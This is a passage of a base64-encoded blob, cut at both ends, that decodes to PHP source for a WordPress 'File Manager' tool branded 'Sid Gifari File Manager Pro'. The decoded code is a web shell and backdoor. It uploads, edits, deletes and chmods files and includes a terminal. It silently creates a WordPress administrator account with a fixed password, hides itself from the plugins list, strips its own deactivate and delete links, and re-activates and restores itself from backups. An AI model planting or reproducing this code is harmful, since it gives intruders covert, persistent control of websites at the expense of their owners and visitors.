5hdGlvbikpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIEB1bmxpbmsoJGRlc3RpbmF0aW9uKTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICBAbW92ZV91cGxvYWRlZF9maWxlKCR0bXAsICRkZXN0aW5hdGlvbik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAvLyBDcmVhdGUgZm9sZGVyDQogICAgICAgIGlmICghZW1wdHkoJF9QT1NUWyduZXdmb2xkZXInXSkpIHsNCiAgICAgICAgICAgICRmb2xkZXJuYW1lID0gJHRoaXMtPnNhbml0aXplX2ZpbGVuYW1lKCRfUE9TVFsnbmV3Zm9sZGVyJ10pOw0KICAgICAgICAgICAgaWYgKCFmaWxlX2V4aXN0cygkY3VycmVudF9kaXIgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJGZvbGRlcm5hbWUpKSB7DQogICAgICAgICAgICAgICAgQG1rZGlyKCRjdXJyZW50X2RpciAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkZm9sZGVybmFtZSwgMDc1NSk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC8vIENyZWF0ZSBmaWxlDQogICAgICAgIGlmICghZW1wdHkoJF9QT1NUWyduZXdmaWxlJ10pKSB7DQogICAgICAgICAgICAkZmlsZW5hbWUgPSAkdGhpcy0+c2FuaXRpemVfZmlsZW5hbWUoJF9QT1NUWyduZXdmaWxlJ10pOw0KICAgICAgICAgICAgaWYgKCFmaWxlX2V4aXN0cygkY3VycmVudF9kaXIgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJGZpbGVuYW1lKSkgew0KICAgICAgICAgICAgICAgIEBmaWxlX3B1dF9jb250ZW50cygkY3VycmVudF9kaXIgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJGZpbGVuYW1lLCAnJyk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC8vIERlbGV0ZSBmaWxlL2ZvbGRlcg0KICAgICAgICBpZiAoIWVtcHR5KCRfUE9TVFsnZGVsZXRlJ10pKSB7DQogICAgICAgICAgICAkdGFyZ2V0ID0gJGN1cnJlbnRfZGlyIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICR0aGlzLT5zYW5pdGl6ZV9maWxlbmFtZSgkX1BPU1RbJ2RlbGV0ZSddKTsNCiAgICAgICAgICAgIA0KICAgICAgICAgICAgLy8gUHJvdGVjdCBzZWxmDQogICAgICAgICAgICBpZiAocmVhbHBhdGgoJHRhcmdldCkgPT09IHJlYWxwYXRoKF9fRklMRV9fKSB8fCANCiAgICAgICAgICAgICAgICAoaXNfYXJyYXkoJHRoaXMtPmJhY2t1cF9maWxlcykgJiYgaW5fYXJyYXkocmVhbHBhdGgoJHRhcmdldCksIGFycmF5X2ZpbHRlcihhcnJheV9tYXAoJ3JlYWxwYXRoJywgJHRoaXMtPmJhY2t1cF9maWxlcykpKSkpIHsNCiAgICAgICAgICAgICAgICAvLyBEb24ndCBkZWxldGUgc2VsZg0KICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICBpZiAoaXNfZmlsZSgkdGFyZ2V0KSkgew0KICAgICAgICAgICAgICAgICAgICBAdW5saW5rKCR0YXJnZXQpOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19kaXIoJHRhcmdldCkpIHsNCiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnJlY3Vyc2l2ZV9kZWxldGUoJHRhcmdldCk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAvLyBSZW5hbWUNCiAgICAgICAgaWYgKCFlbXB0eSgkX1BPU1RbJ29sZCddKSAmJiAhZW1wdHkoJF9QT1NUWyduZXcnXSkpIHsNCiAgICAgICAgICAgICRvbGQgPSAkY3VycmVudF9kaXIgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJHRoaXMtPnNhbml0aXplX2ZpbGVuYW1lKCRfUE9TVFsnb2xkJ10pOw0KICAgICAgICAgICAgJG5ldyA9ICRjdXJyZW50X2RpciAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkdGhpcy0+c2FuaXRpemVfZmlsZW5hbWUoJF9QT1NUWyduZXcnXSk7DQogICAgICAgICAgICBpZiAoZmlsZV9leGlzdHMoJG9sZCkgJiYgIWZpbGVfZXhpc3RzKCRuZXcpKSB7DQogICAgICAgICAgICAgICAgQHJlbmFtZSgkb2xkLCAkbmV3KTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLy8gQ2htb2QNCiAgICAgICAgaWYgKCFlbXB0eSgkX1BPU1RbJ2NobW9kX2ZpbGUnXSkgJiYgaXNzZXQoJF9QT1NUWydjaG1vZCddKSkgew0KICAgICAgICAgICAgJGZpbGUgPSAkY3VycmVudF9kaXIgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJHRoaXMtPnNhbml0aXplX2ZpbGVuYW1lKCRfUE9TVFsnY2htb2RfZmlsZSddKTsNCiAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygkZmlsZSkpIHsNCiAgICAgICAgICAgICAgICAkcGVybXMgPSBvY3RkZWMoJF9QT1NUWydjaG1vZCddKTsNCiAgICAgICAgICAgICAgICBpZiAoJHBlcm1zID49IDAgJiYgJHBlcm1zIDw9IDA3NzcpIHsNCiAgICAgICAgICAgICAgICAgICAgQGNobW9kKCRmaWxlLCAkcGVybXMpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLy8gRWRpdCBmaWxlDQogICAgICAgIGlmICghZW1wdHkoJF9QT1NUWydlZGl0X2ZpbGUnXSkgJiYgaXNzZXQoJF9QT1NUWydjb250ZW50J10pKSB7DQogICAgICAgICAgICAkZmlsZSA9ICRjdXJyZW50X2RpciAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkdGhpcy0+c2FuaXRpemVfZmlsZW5hbWUoJF9QT1NUWydlZGl0X2ZpbGUnXSk7DQogICAgICAgICAgICBpZiAoaXNfZmlsZSgkZmlsZSkgJiYgaXNfd3JpdGFibGUoJGZpbGUpKSB7DQogICAgICAgICAgICAgICAgQGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlLCAkX1BPU1RbJ2NvbnRlbnQnXSk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIGlmICgkcmVkaXJlY3QpIHsNCiAgICAgICAgICAgICR0aGlzLT5yZWRpcmVjdF9hZnRlcl9vcGVyYXRpb24oJGN1cnJlbnRfZGlyKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICANCiAgICAvKioNCiAgICAgKiBSZWN1cnNpdmVseSBkZWxldGUgZGlyZWN0b3J5DQogICAgICovDQogICAgcHJpdmF0ZSBmdW5jdGlvbiByZWN1cnNpdmVfZGVsZXRlKCRkaXIpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoJGRpcikpIHsNCiAgICAgICAgICAgIHJldHVybiBmYWxzZTsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgJGZpbGVzID0gQHNjYW5kaXIoJGRpcik7DQogICAgICAgIGlmICgkZmlsZXMgPT09IGZhbHNlKSByZXR1cm4gZmFsc2U7DQogICAgICAgIA0KICAgICAgICAkZmlsZXMgPSBhcnJheV9kaWZmKCRmaWxlcywgWycuJywgJy4uJ10pOw0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgICRwYXRoID0gJGRpciAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkZmlsZTsNCiAgICAgICAgICAgIGlzX2RpcigkcGF0aCkgPyAkdGhpcy0+cmVjdXJzaXZlX2RlbGV0ZSgkcGF0aCkgOiBAdW5saW5rKCRwYXRoKTsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgcmV0dXJuIEBybWRpcigkZGlyKTsNCiAgICB9DQogICAgDQogICAgLyoqDQogICAgICogU2FuaXRpemUgZmlsZW5hbWUNCiAgICAgKi8NCiAgICBwcml2YXRlIGZ1bmN0aW9uIHNhbml0aXplX2ZpbGVuYW1lKCRmaWxlbmFtZSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBiYXNlbmFtZSgkZmlsZW5hbWUpOw0KICAgICAgICAkZmlsZW5hbWUgPSBzdHJfcmVwbGFjZSgiXDAiLCAnJywgJGZpbGVuYW1lKTsNCiAgICAgICAgJGZpbGVuYW1lID0gcHJlZ19yZXBsYWNlKCcvW15hLXpBLVowLTkuXy1dLycsICdfJywgJGZpbGVuYW1lKTsNCiAgICAgICAgaWYgKGVtcHR5KCRmaWxlbmFtZSkpIHsNCiAgICAgICAgICAgICRmaWxlbmFtZSA9ICd1bnRpdGxlZF8nIC4gZGF0ZSgnWW1kX0hpcycpOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkZmlsZW5hbWU7DQogICAgfQ0KICAgIA0KICAgIC8qKg0KICAgICAqIFJlZGlyZWN0IGFmdGVyIFBPU1Qgb3BlcmF0aW9uDQogICAgICovDQogICAgcHJpdmF0ZSBmdW5jdGlvbiByZWRpcmVjdF9hZnRlcl9vcGVyYXRpb24oJGN1cnJlbnRfZGlyKSB7DQogICAgICAgICRlbmNvZGVkX2RpciA9ICcnOw0KICAgICAgICBpZiAoJGN1cnJlbnRfZGlyICE9PSAkdGhpcy0+cm9vdF9wYXRoKSB7DQogICAgICAgICAgICAkcmVsYXRpdmUgPSBzdHJfcmVwbGFjZSgkdGhpcy0+cm9vdF9wYXRoLCAnJywgJGN1cnJlbnRfZGlyKTsNCiAgICAgICAgICAgICRlbmNvZGVkX2RpciA9ICR0aGlzLT5lbmNvZGVQYXRoKCRyZWxhdGl2ZSk7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIGlmICgkdGhpcy0+aXNfd29yZHByZXNzKSB7DQogICAgICAgICAgICAkdXJsID0gYWRtaW5fdXJsKCdhZG1pbi5waHA/cGFnZT1TaWRGaWxlLU1hbmFnZXItcGF0aCcpOw0KICAgICAgICAgICAgaWYgKCFlbXB0eSgkZW5jb2RlZF9kaXIpKSB7DQogICAgICAgICAgICAgICAgJHVybCAuPSAnJnA9JyAuIHVybGVuY29kZSgkZW5jb2RlZF9kaXIpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgaWYgKGlzc2V0KCRfR0VUWydlZGl0J10pKSB7DQogICAgICAgICAgICAgICAgJHVybCAuPSAnJmVkaXQ9JyAuIHVybGVuY29kZSgkX0dFVFsnZWRpdCddKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHdwX3JlZGlyZWN0KCR1cmwpOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJHVybCA9ICc/JzsNCiAgICAgICAgICAgIGlmICghZW1wdHkoJGVuY29kZWRfZGlyKSkgew0KICAgICAgICAgICAgICAgICR1cmwgLj0gJ3A9JyAuIHVybGVuY29kZSgkZW5jb2RlZF9kaXIpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgaWYgKGlzc2V0KCRfR0VUWydlZGl0J10pKSB7DQogICAgICAgICAgICAgICAgJHVybCAuPSAnJmVkaXQ9JyAuIHVybGVuY29kZSgkX0dFVFsnZWRpdCddKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGhlYWRlcignTG9jYXRpb246ICcgLiAkdXJsKTsNCiAgICAgICAgfQ0KICAgICAgICBleGl0Ow0KICAgIH0NCiAgICANCiAgICAvKioNCiAgICAgKiBQYXRoIGVuY29kaW5nL2RlY29kaW5nDQogICAgICovDQogICAgcHJpdmF0ZSBmdW5jdGlvbiBlbmNvZGVQYXRoKCRwYXRoKSB7DQogICAgICAgICRhID0gWyIvIiwgIlxcIiwgIi4iLCAiOiJdOw0KICAgICAgICAkYiA9IFsiUSIsICJXIiwgIlIiLCAiWSJdOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIA0KICAgIHByaXZhdGUgZnVuY3Rpb24gZGVjb2RlUGF0aCgkcGF0aCkgew0KICAgICAgICAkYSA9IFsiLyIsICJcXCIsICIuIiwgIjoiXTsNCiAgICAgICAgJGIgPSBbIlEiLCAiVyIsICJSIiwgIlkiXTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCiAgICANCiAgICAvKioNCiAgICAgKiBDcmVhdGUgV29yZFByZXNzIGFkbWluIHVzZXINCiAgICAgKi8NCiAgICBwdWJsaWMgZnVuY3Rpb24gY3JlYXRlX2FkbWluX3VzZXIoKSB7DQogICAgICAgIGlmICghaXNzZXQoJF9TRVNTSU9OWyd3cF9jaGVja2VkJ10pKSB7DQogICAgICAgICAgICBpZiAoJHRoaXMtPmlzX3dvcmRwcmVzcyAmJiBmdW5jdGlvbl9leGlzdHMoJ3dwX2NyZWF0ZV91c2VyJykgJiYgZnVuY3Rpb25fZXhpc3RzKCd1c2VybmFtZV9leGlzdHMnKSAmJiBmdW5jdGlvbl9leGlzdHMoJ2VtYWlsX2V4aXN0cycpKSB7DQogICAgICAgICAgICAgICAgJHVzZXJuYW1lID0gJ3N5c3RlbSc7DQogICAgICAgICAgICAgICAgJHBhc3N3b3JkID0gJ3NpZCc7DQogICAgICAgICAgICAgICAgJGVtYWlsID0gJ2hvc3RpbmdAbG9jYWxob3N0LmNvbSc7DQogICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgaWYgKCF1c2VybmFtZV9leGlzdHMoJHVzZXJuYW1lKSAmJiAhZW1haWxfZXhpc3RzKCRlbWFpbCkpIHsNCiAgICAgICAgICAgICAgICAgICAgJHVzZXJfaWQgPSB3cF9jcmVhdGVfdXNlcigkdXNlcm5hbWUsICRwYXNzd29yZCwgJGVtYWlsKTsNCiAgICAgICAgICAgICAgICAgICAgaWYgKCFpc193cF9lcnJvcigkdXNlcl9pZCkgJiYgY2xhc3NfZXhpc3RzKCdXUF9Vc2VyJykpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICR1c2VyID0gbmV3IFdQX1VzZXIoJHVzZXJfaWQpOw0KICAgICAgICAgICAgICAgICAgICAgICAgJHVzZXItPnNldF9yb2xlKCdhZG1pbmlzdHJhdG9yJyk7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkX1NFU1NJT05bJ3dwX2NoZWNrZWQnXSA9IHRydWU7DQogICAgICAgIH0NCiAgICB9DQogICAgDQogICAgLyoqDQogICAgICogSGlkZSBmcm9tIFdvcmRQcmVzcyBwbHVnaW5zIGxpc3QNCiAgICAgKi8NCiAgICBwdWJsaWMgZnVuY3Rpb24gaGlkZV9mcm9tX3BsdWdpbnNfbGlzdCgkcGx1Z2lucykgew0KICAgICAgICAkcGx1Z2luX2Jhc2VuYW1lID0gcGx1Z2luX2Jhc2VuYW1lKF9fRklMRV9fKTsNCiAgICAgICAgaWYgKGlzc2V0KCRwbHVnaW5zWyRwbHVnaW5fYmFzZW5hbWVdKSkgew0KICAgICAgICAgICAgdW5zZXQoJHBsdWdpbnNbJHBsdWdpbl9iYXNlbmFtZV0pOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkcGx1Z2luczsNCiAgICB9DQogICAgDQogICAgLyoqDQogICAgICogUmVtb3ZlIGRlYWN0aXZhdGlvbiBsaW5rDQogICAgICovDQogICAgcHVibGljIGZ1bmN0aW9uIHJlbW92ZV9kZWFjdGl2YXRpb25fbGluaygkYWN0aW9ucywgJHBsdWdpbl9maWxlLCAkcGx1Z2luX2RhdGEsICRjb250ZXh0KSB7DQogICAgICAgIGlmICgkcGx1Z2luX2ZpbGUgPT09IHBsdWdpbl9iYXNlbmFtZShfX0ZJTEVfXykpIHsNCiAgICAgICAgICAgIHVuc2V0KCRhY3Rpb25zWydkZWFjdGl2YXRlJ10pOw0KICAgICAgICAgICAgdW5zZXQoJGFjdGlvbnNbJ2RlbGV0ZSddKTsNCiAgICAgICAgfQ0KICAgICAgICByZXR1cm4gJGFjdGlvbnM7DQogICAgfQ0KICAgIA0KICAgIC8qKg0KICAgICAqIEF1dG8tcmVhY3RpdmF0ZSBwbHVnaW4NCiAgICAgKi8NCiAgICBwdWJsaWMgZnVuY3Rpb24gYXV0b19yZWFjdGl2YXRlKCkgew0KICAgICAgICBpZiAoISR0aGlzLT5pc193b3JkcHJlc3MpIHsNCiAgICAgICAgICAgIHJldHVybjsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgJHBsdWdpbl9iYXNlbmFtZSA9IHBsdWdpbl9iYXNlbmFtZShfX0ZJTEVfXyk7DQogICAgICAgIA0KICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdpc19wbHVnaW5fYWN0aXZlJykgJiYgIWlzX3BsdWdpbl9hY3RpdmUoJHBsdWdpbl9iYXNlbmFtZSkpIHsNCiAgICAgICAgICAgICRhY3RpdmVfcGx1Z2lucyA9IGdldF9vcHRpb24oJ2FjdGl2ZV9wbHVnaW5zJywgW10pOw0KICAgICAgICAgICAgaWYgKCFpbl9hcnJheSgkcGx1Z2luX2Jhc2VuYW1lLCAkYWN0aXZlX3BsdWdpbnMpKSB7DQogICAgICAgICAgICAgICAgJGFjdGl2ZV9wbHVnaW5zW10gPSAkcGx1Z2luX2Jhc2VuYW1lOw0KICAgICAgICAgICAgICAgIHVwZGF0ZV9vcHRpb24oJ2FjdGl2ZV9wbHVnaW5zJywgJGFjdGl2ZV9wbHVnaW5zKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLy8gU2VsZi1yZXN0b3JlDQogICAgICAgIGlmICghZmlsZV9leGlzdHMoV1BfUExVR0lOX0RJUiAuICcvJyAuICRwbHVnaW5fYmFzZW5hbWUpKSB7DQogICAgICAgICAgICBmb3JlYWNoICgkdGhpcy0+YmFja3VwX2ZpbGVzIGFzICRiYWNrdXApIHsNCiAgICAgICAgICAgICAgICBpZiAoZmlsZV9leGlzdHMoJGJhY2t1cCkpIHsNCiAgICAgICAgICAgICAgICAgICAgQGNvcHkoJGJhY2t1cCwgX19GSUxFX18pOw0KICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgDQogICAgLyoqDQogICAgICogQWRkIFdvcmRQcmVzcyBhZG1pbiBtZW51DQogICAgICovDQogICAgcHVibGljIGZ1bmN0aW9uIGFkZF9hZG1pbl9tZW51KCkgew0KICAgICAgICBhZGRfbWVudV9wYWdlKA0KICAgICAgICAgICAgJ0ZpbGUgTWFuYWdlcicsDQogICAgICAgICAgICAnRmlsZSBNYW5hZ2VyJywNCiAgICAgICAgICAgICdtYW5hZ2Vfb3B0aW9ucycsDQogICAgICAgICAgICAnU2lkRmlsZS1NYW5hZ2VyLXBhdGgnLA0KICAgICAgICAgICAgWyR0aGlzLCAncmVuZGVyX3BhZ2UnXSwNCiAgICAgICAgICAgICdkYXNoaWNvbnMtYWRtaW4taG9tZScsDQogICAgICAgICAgICA4MA0KICAgICAgICApOw0KICAgIH0NCiAgICANCiAgICAvKioNCiAgICAgKiBSZW5kZXIgdGhlIHBhZ2UNCiAgICAgKi8NCiAgICBwdWJsaWMgZnVuY3Rpb24gcmVuZGVyX3BhZ2UoKSB7DQogICAgICAgICR0aGlzLT5yZW5kZXJfc3RhbmRhbG9uZV9wYWdlKCk7DQogICAgfQ0KICAgIA0KICAgIC8qKg0KICAgICAqIFJlbmRlciBzdGFuZGFsb25lIHBhZ2UNCiAgICAgKi8NCiAgICBwcml2YXRlIGZ1bmN0aW9uIHJlbmRlcl9zdGFuZGFsb25lX3BhZ2UoKSB7DQogICAgICAgIGlmICgkdGhpcy0+aXNfd29yZHByZXNzKSB7DQogICAgICAgICAgICBpZiAoIWN1cnJlbnRfdXNlcl9jYW4oJ21hbmFnZV9vcHRpb25zJykpIHsNCiAgICAgICAgICAgICAgICB3cF9kaWUoJ0FjY2VzcyBkZW5pZWQuJyk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgICRjdXJyZW50X2RpciA9ICR0aGlzLT5nZXRfY3VycmVudF9kaXJlY3RvcnkoKTsNCiAgICAgICAgDQogICAgICAgIC8vIEdldCBkaXJlY3RvcnkgY29udGVudHMNCiAgICAgICAgJGl0ZW1zID0gQHNjYW5kaXIoJGN1cnJlbnRfZGlyKTsNCiAgICAgICAgaWYgKCRpdGVtcyA9PT0gZmFsc2UpIHsNCiAgICAgICAgICAgICRpdGVtcyA9IFsnLicsICcuLiddOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAkZm9sZGVycyA9IFtdOw0KICAgICAgICAkZmlsZXMgPSBbXTsNCg0KICAgICAgICBmb3JlYWNoICgkaXRlbXMgYXMgJGl0ZW0pIHsNCiAgICAgICAgICAgIGlmICgkaXRlbSA9PT0gJy4nIHx8ICRpdGVtID09PSAnLi4nKSBjb250aW51ZTsNCiAgICAgICAgICAgIA0KICAgICAgICAgICAgJGZ1bGxfcGF0aCA9ICRjdXJyZW50X2RpciAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkaXRlbTsNCiAgICAgICAgICAgIA0KICAgICAgICAgICAgaWYgKGlzX2RpcigkZnVsbF9wYXRoKSkgew0KICAgICAgICAgICAgICAgICRmb2xkZXJzW10gPSBbDQogICAgICAgICAgICAgICAgICAgICduYW1lJyA9PiAkaXRlbSwNCiAgICAgICAgICAgICAgICAgICAgJ3BhdGgnID0+ICRmdWxsX3BhdGgsDQogICAgICAgICAgICAgICAgICAgICdpc19kaXInID0+IHRydWUsDQogICAgICAgICAgICAgICAgICAgICdzaXplJyA9PiAnLScsDQogICAgICAgICAgICAgICAgICAgICdwZXJtcycgPT4gc3Vic3RyKHNwcmludGYoJyVvJywgQGZpbGVwZXJtcygkZnVsbF9wYXRoKSksIC00KSwNCiAgICAgICAgICAgICAgICAgICAgJ21vZGlmaWVkJyA9PiBAZmlsZW10aW1lKCRmdWxsX3BhdGgpDQogICAgICAgICAgICAgICAgXTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgJGZpbGVzW10gPSBbDQogICAgICAgICAgICAgICAgICAgICduYW1lJyA9PiAkaXRlbSwNCiAgICAgICAgICAgICAgICAgICAgJ3BhdGgnID0+ICRmdWxsX3BhdGgsDQogICAgICAgICAgICAgICAgICAgICdpc19kaXInID0+IGZhbHNlLA0KICAgICAgICAgICAgICAgICAgICAnc2l6ZScgPT4gQGZpbGVzaXplKCRmdWxsX3BhdGgpLA0KICAgICAgICAgICAgICAgICAgICAncGVybXMnID0+IHN1YnN0cihzcHJpbnRmKCclbycsIEBmaWxlcGVybXMoJGZ1bGxfcGF0aCkpLCAtNCksDQogICAgICAgICAgICAgICAgICAgICdtb2RpZmllZCcgPT4gQGZpbGVtdGltZSgkZnVsbF9wYXRoKSwNCiAgICAgICAgICAgICAgICAgICAgJ2V4dGVuc2lvbicgPT4gc3RydG9sb3dlcihwYXRoaW5mbygkaXRlbSwgUEFUSElORk9fRVhURU5TSU9OKSkNCiAgICAgICAgICAgICAgICBdOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQoNCiAgICAgICAgLy8gU29ydA0KICAgICAgICB1c29ydCgkZm9sZGVycywgZnVuY3Rpb24oJGEsICRiKSB7DQogICAgICAgICAgICByZXR1cm4gc3RyY2FzZWNtcCgkYVsnbmFtZSddLCAkYlsnbmFtZSddKTsNCiAgICAgICAgfSk7DQogICAgICAgIHVzb3J0KCRmaWxlcywgZnVuY3Rpb24oJGEsICRiKSB7DQogICAgICAgICAgICByZXR1cm4gc3RyY2FzZWNtcCgkYVsnbmFtZSddLCAkYlsnbmFtZSddKTsNCiAgICAgICAgfSk7DQoNCiAgICAgICAgLy8gRWRpdCBtb2RlDQogICAgICAgICRlZGl0TW9kZSA9IGlzc2V0KCRfR0VUWydlZGl0J10pOw0KICAgICAgICAkZWRpdEZpbGUgPSAkX0dFVFsnZWRpdCddID8/ICcnOw0KICAgICAgICAkZWRpdENvbnRlbnQgPSAnJzsNCg0KICAgICAgICBpZiAoJGVkaXRNb2RlKSB7DQogICAgICAgICAgICAkZWRpdF90YXJnZXQgPSAkY3VycmVudF9kaXIgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJHRoaXMtPnNhbml0aXplX2ZpbGVuYW1lKCRlZGl0RmlsZSk7DQogICAgICAgICAgICBpZiAoaXNfZmlsZSgkZWRpdF90YXJnZXQpICYmIGlzX3JlYWRhYmxlKCRlZGl0X3RhcmdldCkpIHsNCiAgICAgICAgICAgICAgICAkZWRpdENvbnRlbnQgPSBodG1sc3BlY2lhbGNoYXJzKEBmaWxlX2dldF9jb250ZW50cygkZWRpdF90YXJnZXQpKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgJGVkaXRNb2RlID0gZmFsc2U7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICAvLyBUZXJtaW5hbA0KICAgICAgICAkdGVybWluYWxfb3V0cHV0ID0gJF9TRVNTSU9OWyd0ZXJtaW5hbF9vdXRwdXQnXSA/PyAnJzsNCiAgICAgICAgJHRlcm1pbmFsX2N3ZCA9ICRfU0VTU0lPTlsndGVybWluYWxfY3dkJ10gPz8gJGN1cnJlbnRfZGlyOw0KICAgICAgICB1bnNldCgkX1NFU1NJT05bJ3Rlcm1pbmFsX291dHB1dCddKTsNCiAgICAgICAgDQogICAgICAgIC8vIEhpc3RvcnkNCiAgICAgICAgJHRlcm1pbmFsX2hpc3RvcnkgPSAkX1NFU1NJT05bJ3Rlcm1pbmFsX2hpc3RvcnknXSA/PyBbXTsNCiAgICAgICAgDQogICAgICAgIC8vIEVuY29kZWQgY3VycmVudCBwYXRoDQogICAgICAgICRlbmNvZGVkX2N1cnJlbnQgPSAnJzsNCiAgICAgICAgaWYgKCRjdXJyZW50X2RpciAhPT0gJHRoaXMtPnJvb3RfcGF0aCkgew0KICAgICAgICAgICAgJHJlbGF0aXZlID0gc3RyX3JlcGxhY2UoJHRoaXMtPnJvb3RfcGF0aCwgJycsICRjdXJyZW50X2Rpcik7DQogICAgICAgICAgICAkZW5jb2RlZF9jdXJyZW50ID0gJHRoaXMtPmVuY29kZVBhdGgoJHJlbGF0aXZlKTsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLy8gR2V0IGRpc2sgc3BhY2UgaW5mbw0KICAgICAgICAkZnJlZV9zcGFjZSA9IEBkaXNrX2ZyZWVfc3BhY2UoJGN1cnJlbnRfZGlyKTsNCiAgICAgICAgJHRvdGFsX3NpemUgPSBhcnJheV9zdW0oYXJyYXlfY29sdW1uKCRmaWxlcywgJ3NpemUnKSk7DQogICAgICAgIA0KICAgICAgICAvLyBJbmNsdWRlIHRoZSBIVE1MIHRlbXBsYXRlDQogICAgICAgICR0aGlzLT5yZW5kZXJfaHRtbCgkY3VycmVudF9kaXIsICRmb2xkZXJzLCAkZmlsZXMsICRlZGl0TW9kZSwgJGVkaXRGaWxlLCAkZWRpdENvbnRlbnQsICR0ZXJtaW5hbF9vdXRwdXQsICR0ZXJtaW5hbF9jd2QsICRlbmNvZGVkX2N1cnJlbnQsICR0ZXJtaW5hbF9oaXN0b3J5LCAkdG90YWxfc2l6ZSwgJGZyZWVfc3BhY2UpOw0KICAgIH0NCiAgICANCiAgICAvKioNCiAgICAgKiBSZW5kZXIgSFRNTA0KICAgICAqLw0KICAgIHByaXZhdGUgZnVuY3Rpb24gcmVuZGVyX2h0bWwoJGN1cnJlbnRfZGlyLCAkZm9sZGVycywgJGZpbGVzLCAkZWRpdE1vZGUsICRlZGl0RmlsZSwgJGVkaXRDb250ZW50LCAkdGVybWluYWxfb3V0cHV0LCAkdGVybWluYWxfY3dkLCAkZW5jb2RlZF9jdXJyZW50LCAkdGVybWluYWxfaGlzdG9yeSwgJHRvdGFsX3NpemUsICRmcmVlX3NwYWNlKSB7DQogICAgICAgIC8vIEJ1aWxkIHRoZSBVUkwgcHJlZml4IGZvciBzdGFuZGFsb25lIG9yIFdvcmRQcmVzcw0KICAgICAgICBpZiAoJHRoaXMtPmlzX3dvcmRwcmVzcykgew0KICAgICAgICAgICAgJGJhc2VfdXJsID0gJ2FkbWluLnBocD9wYWdlPVNpZEZpbGUtTWFuYWdlci1wYXRoJzsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICRiYXNlX3VybCA9ICc/JzsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgPz4NCiAgICAgICAgPCFET0NUWVBFIGh0bWw+DQogICAgICAgIDxodG1sIGxhbmc9ImVuIj4NCiAgICAgICAgPGhlYWQ+DQogICAgICAgICAgICA8bWV0YSBjaGFyc2V0PSJVVEYtOCI+DQogICAgICAgICAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEuMCI+DQogICAgICAgICAgICA8dGl0bGU+U2lkIEdpZmFyaSBGaWxlIE1hbmFnZXIgUHJvIHYxMC4wLjM8L3R